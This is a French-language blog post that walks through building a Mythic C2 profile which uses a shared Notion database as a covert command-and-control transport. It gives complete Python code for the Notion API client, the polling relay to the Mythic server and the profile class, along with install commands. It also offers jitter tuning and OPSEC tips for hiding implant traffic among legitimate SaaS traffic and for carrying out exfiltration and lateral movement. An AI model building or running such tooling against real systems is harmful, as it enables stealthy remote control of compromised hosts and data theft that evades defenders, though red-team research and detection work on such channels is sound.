Quand Notion devient un canal C2

1. C'est quoi un profil C2 Mythic ?

Mythic est un framework C2 modulaire développé par its-a-feature. Son architecture repose sur des conteneurs Docker indépendants qui communiquent via RabbitMQ. Chaque composant (agent, profil C2, service de traduction) tourne dans son propre container et parle à Mythic via une interface bien définie.

Un profil C2 dans Mythic, c'est le composant qui s'occupe du transport. Le serveur Mythic ne sait pas comment un agent communique : HTTP, DNS, Slack, peu importe. C'est le profil C2 qui reçoit les données brutes de l'agent, les transmet au serveur Mythic via son API interne, récupère la réponse, et la renvoie à l'agent. Le profil est donc un proxy entre le canal de communication choisi et le cœur de Mythic.

Concrètement, un profil C2 Mythic c'est :

• Un Dockerfile qui décrit le container
• Une classe Python qui hérite de C2Profile avec les paramètres exposés dans l'UI Mythic
• Un script serveur qui tourne en permanence et fait le vrai travail de transport

Quand Mythic démarre le container, il écrit un config.json avec les paramètres configurés dans l'UI, puis lance le script serveur. Le script lit ce config et démarre sa boucle de travail.

Agent                    Notion (SaaS)              C2 Container           Mythic Server
  │                           │                           │                        │
  ├── POST /v1/pages ────────►│                           │                        │
  │   direction=in            │◄── query (direction=in) ──┤                        │
  │   base64(données)         │    processed=false        │                        │
  │                           │                           ├── POST /agent_msg ────►│
  │                           │                           │◄── réponse chiffrée ───┤
  │                           │◄── POST /v1/pages ────────┤                        │
  │                           │    direction=out          │                        │
  │                           │◄── PATCH /v1/pages/{id} ──┤ mark_processed         │
  │                           │    processed=true,archived│ (page direction=in)    │
  │◄── query (direction=out) ─┤                           │                        │
  │    processed=false        │                           │                        │
  ├── PATCH /v1/pages/{id} ──►│                           │                        │
  │   processed=true          │                           │                        │
  │                           │◄── PATCH /v1/pages/{id} ──┤ archive_page           │
  │                           │    archived=true          │ (cleanup direction=out)│

2. Design du canal

La première question à résoudre : comment faire transiter des messages binaires arbitraires via Notion ? L'API Notion expose des bases de données et des pages, pas un canal de messages. Il faut donc modéliser la communication C2 avec ces primitives.

Une page = un message

Chaque message C2 devient une page dans une base de données Notion partagée. La direction du message est stockée dans une propriété Select : in pour agent→serveur, out pour serveur→agent. Une propriété processed (checkbox) marque les messages déjà traités. Le payload, lui, ne peut pas aller dans une propriété texte.

Le problème de la limite des 2000 caractères

L'API Notion plafonne les propriétés de type texte à 2000 caractères. Or un message C2 peut facilement dépasser ça, notamment lors de l'enrôlement (checkin) ou du retour d'une commande avec un output conséquent. Stocker le payload dans une propriété texte est donc exclu.

La solution : stocker le payload dans le corps de la page, sous forme de blocs code. Les blocs de code sont aussi limités à 2000 chars, mais rien n'empêche d'en créer plusieurs. Le payload est encodé en base64 puis découpé en chunks de 1800 caractères, chaque chunk dans son propre bloc. La lecture reconstruit la chaîne en concaténant les blocs dans l'ordre.

encoded = base64.b64encode(data).decode()
CHUNK_SIZE = 1800

chunks = [encoded[i : i + CHUNK_SIZE] for i in range(0, len(encoded), CHUNK_SIZE)]

# Chaque chunk → un bloc "code" dans le corps de la page Notion
children = [
    {
        "object": "block",
        "type": "code",
        "code": {
            "language": "plain text",
            "rich_text": [{"type": "text", "text": {"content": chunk}}],
        },
    }
    for chunk in chunks
]

Cycle de vie d'un message

La boucle est simple : le container poll les pages direction=in non traitées, les transmet à Mythic, poste la réponse en direction=out, puis archive les pages traitées. Les pages archivées disparaissent de la vue de la base de données, elles ne s'accumulent pas. L'agent côté implant fait l'inverse : il crée des pages in et poll les pages out qui lui sont destinées via son agent_id.

3. Setup Notion

Avant de coder quoi que ce soit, il faut préparer le côté Notion. Deux choses : une intégration (pour avoir un token API) et une base de données (qui servira de messagerie).

Créer l'intégration

Sur notion.so/my-integrations, créer une nouvelle intégration interne. Le token généré commence par ntn_ (ou secret_ pour les anciens tokens). C'est ce token qui sera passé en paramètre à Mythic.

Créer la base de données

La base de données doit avoir exactement ces propriétés :

Vue de la base de données Notion avec une page direction=out créée par le serveur

La propriété created_time est ajoutée automatiquement par Notion, utile pour trier les messages par ordre d'arrivée lors des queries.

Partager la base avec l'intégration

Ouvrir la base de données → Share → inviter l'intégration. Sans ça, le token n'a aucun accès à la base et toutes les requêtes retournent une 404.

Le database ID se récupère dans l'URL Notion :

https://notion.so/your-workspace/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx?v=...
                                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                                  32 caractères = database ID

4. notion_client.py — Le client API

C'est la couche d'abstraction sur l'API Notion. Toutes les interactions avec Notion passent par là : création de pages, queries, lecture des blocs, marquage comme traité, archivage. Le reste du code ne connaît pas l'API Notion, il appelle juste ces méthodes.

La classe utilise httpx en mode async, cohérent avec la boucle asyncio du serveur. Tous les appels API sont faits avec un timeout de 30s, suffisant pour l'API Notion qui est assez réactive, mais suffisamment court pour ne pas bloquer la boucle si le réseau est capricieux.

Créer un message — create_message()

Encode les données brutes en base64, découpe en chunks de 1800 chars, crée une page dans la base avec les bonnes propriétés, et place les chunks dans des blocs code dans le corps. Cette méthode est fournie comme référence pour l'agent côté implant — le serveur lui n'appelle pas create_message(), il utilise create_response_page() pour les pages direction=out.

async def create_message(self, agent_id: str, data: bytes, direction: str) -> str:
    encoded = base64.b64encode(data).decode()
    chunks = [encoded[i : i + CHUNK_SIZE] for i in range(0, len(encoded), CHUNK_SIZE)]

    children = [
        {
            "object": "block",
            "type": "code",
            "code": {
                "language": "plain text",
                "rich_text": [{"type": "text", "text": {"content": chunk}}],
            },
        }
        for chunk in chunks
    ]

    payload = {
        "parent": {"database_id": self.database_id},
        "properties": {
            "uuid":      {"title": [{"text": {"content": str(uuid.uuid4())}}]},
            "direction": {"select": {"name": direction}},
            "agent_id":  {"rich_text": [{"text": {"content": agent_id}}]},
            "processed": {"checkbox": False},
            "size":      {"number": len(data)},
        },
        "children": children,
    }

    async with httpx.AsyncClient() as client:
        resp = await client.post(
            f"{NOTION_API_BASE}/pages",
            headers=self.headers,
            json=payload,
            timeout=30.0,
        )
        resp.raise_for_status()
        return resp.json()["id"]

Lire un message — read_message_data()

Récupère les blocs enfants de la page, concatène le contenu des blocs de type code dans l'ordre, et retourne la chaîne base64 encodée en UTF-8. C'est exactement ce format que Mythic attend sur son endpoint /agent_message.

async def read_message_data(self, page_id: str) -> bytes:
    async with httpx.AsyncClient() as client:
        resp = await client.get(
            f"{NOTION_API_BASE}/blocks/{page_id}/children",
            headers=self.headers,
            timeout=30.0,
        )
        resp.raise_for_status()
        blocks = resp.json().get("results", [])

    encoded = ""
    for block in blocks:
        if block.get("type") == "code":
            for rt in block["code"].get("rich_text", []):
                encoded += rt["text"]["content"]

    return encoded.encode("utf-8")

Marquer comme traité — mark_processed()

Un PATCH sur la page pour cocher processed et passer la page en archivée. Pages archivées = invisibles dans la vue de la base, mais accessibles via l'API si besoin. C'est le nettoyage automatique pour éviter que la base s'accumule.

async def mark_processed(self, page_id: str) -> None:
    async with httpx.AsyncClient() as client:
        resp = await client.patch(
            f"{NOTION_API_BASE}/pages/{page_id}",
            headers=self.headers,
            json={
                "properties": {"processed": {"checkbox": True}},
                "archived": True,
            },
            timeout=30.0,
        )
        resp.raise_for_status()

Un détail sur les réponses serveur — create_response_page()

Pour les messages direction out (réponse serveur→agent), Mythic retourne directement du base64. Il ne faut pas ré-encoder. La méthode create_response_page() stocke donc le base64 brut tel quel dans les blocs, sans passer par base64.b64encode(). L'agent côté implant lira cette chaîne directement, sans décodage supplémentaire à cette couche. C'est un point qui m'a coûté du debug au départ : deux couches de base64 et Mythic ne reconnaît plus le message.

5. main.py — La boucle de polling

C'est le script qui tourne en permanence dans le container. Trois responsabilités : charger la configuration, faire le pont avec Mythic, et gérer le nettoyage des pages traitées.

Chargement de la config

Mythic écrit le config.json au démarrage du container, dans le même répertoire que main.py. La fonction load_config() gère deux cas : le fichier existe (production) ou non (dev local, avec les variables d'environnement comme fallback).

Mythic peut aussi wrapper les paramètres sous une clé instances, un détail de l'implémentation de mythic-cli selon la version. Le code le gère explicitement.

def load_config() -> dict:
    config_path = Path(__file__).parent / "config.json"
    if config_path.exists():
        with open(config_path) as f:
            data = json.load(f)
        # Mythic wraps parfois les params sous "instances"
        if "instances" in data and isinstance(data["instances"], list) and data["instances"]:
            data = data["instances"][0]
        return data

    # Fallback dev local : variables d'environnement
    return {
        "integration_token": os.environ.get("NOTION_TOKEN", ""),
        "database_id":       os.environ.get("NOTION_DB_ID", ""),
        "callback_interval": int(os.environ.get("CALLBACK_INTERVAL", "10")),
        "callback_jitter":   int(os.environ.get("CALLBACK_JITTER", "10")),
    }

Forward vers Mythic — forward_to_mythic()

Mythic expose un endpoint interne sur le réseau Docker : http://mythic_server:17443/agent_message. Le profil C2 POST les données brutes de l'agent à cet endpoint, avec un header mythic: notion qui identifie le profil. Mythic décrypte, traite, et retourne la réponse chiffrée.

MYTHIC_AGENT_URL = f"http://{MYTHIC_SERVER_HOST}:{MYTHIC_SERVER_PORT}/agent_message"

async def forward_to_mythic(data: bytes) -> bytes:
    async with httpx.AsyncClient() as client:
        resp = await client.post(
            MYTHIC_AGENT_URL,
            content=data,
            headers={
                "Content-Type": "application/octet-stream",
                "mythic": "notion",
            },
            timeout=30.0,
        )
        resp.raise_for_status()
        return resp.content

La boucle principale — poll_loop()

À chaque itération : query les pages direction=in non traitées, pour chacune lire le payload, le forwarder à Mythic, poster la réponse en direction=out, marquer la page originale comme traitée. Ensuite, un second pass pour archiver les pages direction=out déjà marquées processed par l'agent. Puis on attend.

async def poll_loop(notion: NotionClient, interval: int, jitter: int) -> None:
    while True:
        # 1. Traiter les messages entrants
        pages = await notion.query_pending(direction="in")
        for page in pages:
            page_id  = page["id"]
            agent_id = NotionClient.get_agent_id(page)

            data     = await notion.read_message_data(page_id)
            response = await forward_to_mythic(data)

            await notion.create_response_page(agent_id, response, direction="out")
            await notion.mark_processed(page_id)

        # 2. Nettoyer les pages "out" déjà consommées par l'agent
        stale = await notion.query_processed_out()
        for page in stale:
            await notion.archive_page(page["id"])

        # 3. Attendre avec jitter
        await asyncio.sleep(compute_sleep(interval, jitter))

Jitter

Le jitter est un pourcentage appliqué à l'intervalle. Si l'intervalle est 10s et le jitter 20%, le sleep sera entre 8 et 12 secondes, tiré aléatoirement à chaque itération. C'est une mesure de base contre la détection comportementale qui cherche des patterns de timing réguliers.

def compute_sleep(interval: int, jitter: int) -> float:
    if jitter <= 0:
        return float(interval)
    delta = interval * (jitter / 100.0)
    return max(1.0, interval + random.uniform(-delta, delta))

6. Notion.py — La classe C2Profile

C'est le point d'entrée que Mythic charge via mythic_container. Il déclare le profil, ses métadonnées, ses paramètres, et démarre le service qui connecte le container à l'orchestrateur Mythic.

La classe hérite de C2Profile. Quelques attributs importants :

• is_p2p_c2 = False : canal direct server-routed, pas peer-to-peer
• is_server_routed = True : le serveur Mythic route les messages vers les agents
• mythic_encrypts = True : Mythic gère le chiffrement, le profil ne voit que du base64 opaque
• server_binary_path : chemin vers le script Python que Mythic lancera au démarrage du container

from mythic_container.C2ProfileBase import C2Profile, C2ProfileParameter, ParameterType
import mythic_container.mythic_service
import pathlib


class notion(C2Profile):
    name        = "notion"
    description = (
        "C2 channel using Notion as a covert transport. "
        "Leverages the Notion API to store tasks and results in a shared database, "
        "blending into legitimate SaaS traffic (Living off Trusted Sites)."
    )
    author           = "@bbuddha"
    is_p2p_c2        = False
    is_server_routed = True
    mythic_encrypts  = True

    server_folder_path = pathlib.Path(__file__).parent.parent.parent / "c2_code"
    server_binary_path = server_folder_path / "main.py"

    parameters = [
        C2ProfileParameter(
            name="integration_token",
            description="Notion Integration Token (ntn_...)",
            parameter_type=ParameterType.String,
            required=True,
        ),
        C2ProfileParameter(
            name="database_id",
            description="ID de la base de données Notion (32 caractères dans l'URL)",
            parameter_type=ParameterType.String,
            required=True,
        ),
        C2ProfileParameter(
            name="callback_interval",
            description="Intervalle de polling en secondes",
            default_value="10",
            parameter_type=ParameterType.Number,
            required=False,
        ),
        C2ProfileParameter(
            name="callback_jitter",
            description="Jitter en % appliqué à l'intervalle (0-50)",
            default_value="10",
            parameter_type=ParameterType.Number,
            required=False,
        ),
    ]


mythic_container.mythic_service.start_and_run_forever()

7. Installation dans Mythic

Mythic fournit un outil CLI, mythic-cli, pour installer des profils C2 et des agents. L'installation télécharge le repo, construit l'image Docker, et enregistre le profil dans Mythic.

cd /opt/Mythic
./mythic-cli install github https://github.com/0xbbuddha/notion-c2

Ou depuis une copie locale :

./mythic-cli install folder /chemin/vers/notion-c2

Une fois installé, le profil apparaît dans l'UI Mythic sous C2 Profiles → notion. Il faut le démarrer et renseigner les deux paramètres obligatoires :

• integration_token — le token Notion (ntn_...)
• database_id : les 32 caractères de l'URL de la base

Le config.json correspondant généré par Mythic ressemble à ça :

{
  "integration_token": "ntn_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
  "database_id": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
  "callback_interval": 10,
  "callback_jitter": 10
}

Pour implémenter le côté agent (l'implant), il faut que l'agent implémente deux opérations contre l'API Notion : créer des pages direction=in pour envoyer des données, et requêter les pages direction=out filtrées par son agent_id pour recevoir les réponses. Le notion_client.py fourni dans le repo sert de référence d'implémentation.

8. Limitations et considérations OPSEC

Rate limit Notion

L'API Notion est limitée à environ 3 requêtes par seconde. Chaque message C2 génère plusieurs appels : création de page, lecture des blocs, PATCH pour archiver. Avec plusieurs agents actifs en même temps, les 429 se cumulent vite. Garder un callback_interval d'au moins 5s et ne pas descendre en dessous.

Latence

Le modèle de polling introduit une latence inhérente. Une commande exécutée sur l'agent ne remonte pas avant le prochain cycle de polling. Avec un intervalle de 10s et du jitter, on est sur des boucles de 8 à 12 secondes minimum par aller-retour. Acceptable pour de l'exfiltration ou du mouvement latéral discret, pas pour une session interactive.

OPSEC — token et base de données

Le token d'intégration Notion est la clé de toute l'infrastructure. Si il est compromis, l'adversaire peut lire tous les messages en transit. Quelques pratiques à garder en tête :

• Créer un workspace Notion dédié, pas l'espace personnel
• Révoquer le token à la fin de l'opération
• La base de données s'auto-nettoie (pages archivées) mais une rotation de base peut être utile sur des opérations longues
• mythic_encrypts = True : Mythic chiffre le payload avant qu'il arrive dans le profil. Même si quelqu'un lit les pages Notion, il ne voit que du base64 opaque

Détection

Le trafic vers api.notion.com est TLS et se noie dans le trafic SaaS légitime. La détection devra passer par d'autres signaux : comportement de l'implant, volumes inhabituels de requêtes vers Notion, User-Agent anormal, ou corrélation des timestamps des pages avec des activités suspectes. C'est justement l'intérêt du LoTS : le vecteur réseau devient le bruit de fond.